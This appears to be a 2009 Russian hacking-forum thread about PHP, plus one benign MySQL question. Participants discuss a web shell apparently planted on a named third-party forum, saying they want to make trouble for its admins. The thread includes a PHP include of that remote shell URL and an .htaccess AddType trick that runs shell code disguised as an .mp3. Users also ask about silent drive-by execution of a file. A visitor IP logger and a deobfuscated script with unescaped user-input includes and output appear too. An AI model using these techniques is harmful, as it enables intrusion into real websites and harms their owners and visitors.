http://4room.surgut.info/images/graemlins/up.php похоже аплоад =)
mailbrush
24.07.2009, 14:48
Ты не можешь выполнить код с уделаенного сервера у себя с помощью HTML, JS. Для этого есть функция include и require. Пример:
<?php
include('http://4room.surgut.info/images/graemlins/vet.php');
?>
geforse, сорри, я ошибся, думал он уязвимость ищет...
ни инклуд ни реквире у меня не работает (freehostia) :D
http://drdrum.freehostia.com/vet.php
..а жаль ):
необходимо напакастить новым админам на этом форуме)
mailbrush
24.07.2009, 16:18
ни инклуд ни реквире у меня не работает (freehostia)ну на то она и фрихостиа, а шелл через HTML ты не зальёшь - запомни это. HTML/JS не имеет доступа к файловой системе. Исключением могут быть уязвимости в браузерах.
шелл через HTML ты не зальёшь
ну кабе он уже залит O_o
http://4room.surgut.info/images/graemlins/vet.php это он :D
imajo.ati
24.07.2009, 17:22
ну кабе он уже залит O_o
http://4room.surgut.info/images/graemlins/vet.php это он :D
это не шелл а текстовый документ. не интерпретированные теги в начале файла ни о чём не говорят?
я нуб)
о чем нибудь говорит? :D
это не шелл а текстовый документ. не интерпретированные теги в начале файла ни о чём не говорят?
да и кстате ты ошибаешся)
mailbrush
24.07.2009, 18:24
В чем он ошибается? Если расширение .php, это не значит, что код должен интерпретироватся.
PS: Он имел ввиду, что это неинтерпретированый шелл.
Привет всем ещё раз, я вам недавно выкладывал index.php для расшифровки, я вам благодарен то что помогли, но он не работает...вобщем я вас прошу помочь полностью расшифровать php скрипт, перебрав исходный код думаю, скорее всего в нем идет запрос на сервер разработчика... если надо то я могу выложить полный движок http://gaberi.ru/Game_Poratal_v2.5.rar
Вот сам index.php
http://rapidshare.com/files/259082125/index.php.html
Полностью это как?
В прошлый раз до такого расшифровали?
<?php
include ("header.php");
// Reproduction of this code without written permission is strictly forbidden //
if ($skin == 'default') {
include "left.php";
} else {
include "skins/$skin/left.php";
}
if ($_REQUEST[page] == '') {
include "templates/index.php";
} else {
if ($_REQUEST[page] == 'Features') {
$cpage = "pages/features.php";
}
if ($_REQUEST[page] == 'Story') {
$cpage = "pages/story.php";
}
if ($_REQUEST[page] == 'About Us') {
$cpage = "pages/about.php";
}
if ($_REQUEST[page] == 'Archive') {
$cpage = "pages/archive.php";
}
if ($_REQUEST[page] == 'Logout') {
$cpage = "pages/logout.php";
}
if ($_REQUEST[page] == 'Submit News') {
$cpage = "pages/submit.php";
}
if ($_REQUEST[page] == 'User Profile') {
$cpage = "pages/uprofile.php";
}
if ($_REQUEST[page] == 'Edit Profile') {
$cpage = "pages/eprofile.php";
}
if ($_REQUEST[page] == 'Register') {
$cpage = "pages/register.php";
}
if ($_REQUEST[page] == 'Files') {
$cpage = "pages/files.php";
}
if ($_REQUEST[page] == 'Submit') {
$cpage = "pages/submitpage.php";
}
if ($_REQUEST[page] == 'Media') {
$cpage = "pages/media.php";
}
if ($_REQUEST[page] == 'Links') {
$cpage = "pages/links.php";
}
if ($_REQUEST[page] == 'Articles') {
$cpage = "pages/articles.php";
}
if ($_REQUEST[page] == 'Games') {
$cpage = "pages/games.php";
}
if ($_REQUEST[page] == 'Top Games') {
$cpage = "pages/topgames.php";
}
if ($_REQUEST[page] == 'Statistics') {
$cpage = "pages/statistics.php";
}
if ($_REQUEST[page] == 'Contact') {
$cpage = "pages/contact.php";
}
if ($_REQUEST[page] == 'Page') {
$cpage = "pages/page.php";
}
if ($_REQUEST[page] == 'User Registration') {
$cpage = "pages/ureg.php";
}
if ($_REQUEST[page] == 'Search') {
$cpage = "pages/search.php";
}
if ($_REQUEST[page] == 'Game Stats') {
$cpage = "pages/gamestats.php";
}
if ($_REQUEST[page] == 'Game Stats') {
$cpage = "pages/gamestats.php";
}
if ($_REQUEST[page] == 'Company') {
$cpage = "pages/company.php";
}
if ($_REQUEST[page] == 'User CP') {
$cpage = "pages/usercp.php";
}
if ($_REQUEST[page] == 'Cheats') {
$cpage = "pages/cheats.php";
}
if ($_REQUEST[page] == 'Online') {
$cpage = "pages/online.php";
}
if ($_REQUEST[page] == 'Console') {
$cpage = "pages/console.php";
}
if ($_REQUEST[page] == 'Companies') {
$cpage = "pages/company.php";
}
if ($_REQUEST[page] == 'Members') {
$cpage = "pages/members.php";
}
if ($_REQUEST[page] == 'Vote') {
$cpage = "pages/vote.php";
}
if ($_REQUEST[page] == 'Poll') {
$cpage = "pages/poll.php";
}
if ($_REQUEST[page] == 'Login') {
$cpage = "pages/login.php";
}
if ($_REQUEST[page] == 'Password') {
$cpage = "pages/password.php";
}
if ($_REQUEST[page] == 'Blogs') {
$cpage = "pages/blogs.php";
}
?>
<table width="564" cellpadding="1" align="center" cellspacing="0" border="0" style="background: url(images/index_head.jpg) no-repeat top left;">
<tr>
<td width="564" height="191" valign="top" align="left">
<p class="padding1">
<table width="560" bgcolor="#C4C4C4" cellpadding="0" cellspacing="1" border="0">
<tr>
<td width="100%" height="21" background="images/bg_light.jpg">
<table cellpadding="2" cellspacing="0" border="0" width="100%" align="center">
<tr>
<td width="60%"><SPAN class="pagenav"> <?echo "$_REQUEST[page]"?></SPAN></td>
<td width="39%" align="right"><SPAN class="headlineb"> « <a class="headlineb" href="javascript:history.go(-1)" class="headlineb"><?echo "$lang_back"?></a></SPAN></td>
<td width="1%" align="right"><?
$cururl = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
echo "<a class=\"headlineb\" onclick=\"NewWindow(this.href,'name','500','300','yes');retu rn false\" href=\"sendtofriend.php?url=$cururl\"><img src=\"images/send.jpg\" border=\"0\"></a>";
?></td>
</tr>
</table>
</td>
</tr>
</table>
<?
include "$cpage";
?>
</p>
</td>
</tr>
</table>
<?
}
if ($skin == 'default') {
include "right.php";
include "footer.php";
} else {
include "skins/$skin/right.php";
include "skins/$skin/footer.php";
}
echo "$footer_insert";
?>
все ок, спасиб, просил расшифровать, а получилось вот так http://forum.antichat.ru/showpost.php?p=1403862&postcount=11477
я пытался расшифровать сам, при расшифровки у меня был точно такой же результат как по ссылки... Но щас всё ок...
Античат Рулит=)
В чем он ошибается? Если расширение .php, это не значит, что код должен интерпретироватся.
а какже это?
89.232.217.152:80/vet.php
\(зы спецально поставил апач)
mailbrush
24.07.2009, 19:26
Добавь себе в файл .htaccess
AddType text/plain .php
И ты увидишь чудо, вместо шелла!
Есть десятки способов убрать интерпретирование кода.
И не спорь со мной :)
mailbrush
24.07.2009, 19:41
О да... Заметь, я не говорил - если расширение .php - то скрипт не интерпретируется. Я говорил, что если расширение .php, это не значит, что он должен иньтерпретироватся.
PS: Воткни в .htaccess
AddType application/x-httpd-php .mp3
И в файлик music.mp3 воткни код шелла, и ты увидишь еще одно чудо 21 века - вместо окошка скачивания файла, интерпретируется шелл. Читай про AddType.
ты волшебнег)
а можно какнеть организовать скрытый запуск файла? :D
ну там переходят по ссылке..бах грузится файл..(в фоновом режиме) бабах он еще и запустился O_o
lonely night wolf
24.07.2009, 22:38
id name last_name patronymic
1 Маша Иванов Николаевна
1 Денис Попов Владимирович
2 Света Кузнецова Светлавна
2 Петя Сидоров Петрович
Есть запрос $dp = mysql_query("SELECT name,last_name,patronymic FROM man WHERE id =1");
В переменную $row = mysql_fetch_array($dp) попадает массив который содержит только первую строчку.
echo $name=$row[1]; покажет мне "ИВАНОВ"
После повторного запроса $row = mysql_fetch_array($res);
echo $name1=$row[1]; покажет мне "ПОПОВ"
Подскажите можно ли как-то вынести сразу "ПОПОВ" или там "ДЕНИС" не прибегая к повторному запросу.
И не делая немыслимые циклы, приравнивая каждую переменную.
lonely night wolf, зачем ты делаешь одинаковые id у записей, это грубая ошибка при проектировании бд
lonely night wolf
25.07.2009, 04:21
lonely night wolf, зачем ты делаешь одинаковые id у записей, это грубая ошибка при проектировании бд
cat id name last_name patronymic
1 1 Маша Иванов Николаевна
2 1 Денис Попов Владимирович
3 2 Света Кузнецова Светлавна
4 2 Петя Сидоров Петрович
Если тебе так проще будет? Чтоб не было такого вопроса.
Вопрос остался не решенным
id name last_name patronymic
1 Маша Иванов Николаевна
1 Денис Попов Владимирович
2 Света Кузнецова Светлавна
2 Петя Сидоров Петрович
Есть запрос $dp = mysql_query("SELECT name,last_name,patronymic FROM man WHERE id =1");
В переменную $row = mysql_fetch_array($dp) попадает массив который содержит только первую строчку.
echo $name=$row[1]; покажет мне "ИВАНОВ"
После повторного запроса $row = mysql_fetch_array($res);
echo $name1=$row[1]; покажет мне "ПОПОВ"
Подскажите можно ли как-то вынести сразу "ПОПОВ" или там "ДЕНИС" не прибегая к повторному запросу.
И не делая немыслимые циклы, приравнивая каждую переменную.
выводи прям в массиве
while ( $row = mysql_fetch_array($dp) ) {
echo $row['last_name'];
}
или циком сделай
while ( $row = mysql_fetch_array($dp) ) {
$blalba[]=$row['last_name'];
}
и выводи потом
for($i=0; $i<$count; $i++){
echo $blalba[$i];
}
прошу подсказать, нужно что б на странице с таким содержанием:
<?php function getRealIpAddr() { if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip=$_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip=$_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip=$_SERVER['REMOTE_ADDR']; } return $ip; } $ip = getRealIpAddr(); $open = fopen('ip.txt','a'); fwrite($open,$ip."\n"); fclose($open); ?>
происходило открытие файла с сервера(зип архив).
mailbrush
25.07.2009, 14:55
kiddie, ничего не сделаешь - этот скрипт записывает в файл IP юзера, зашедшего на него.
kiddie, ничего не сделаешь - этот скрипт записывает в файл IP юзера, зашедшего на него.
я знаю, я просто и хотел , что б при попадании на страницу определялся ip и начиналась загрузка файла
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot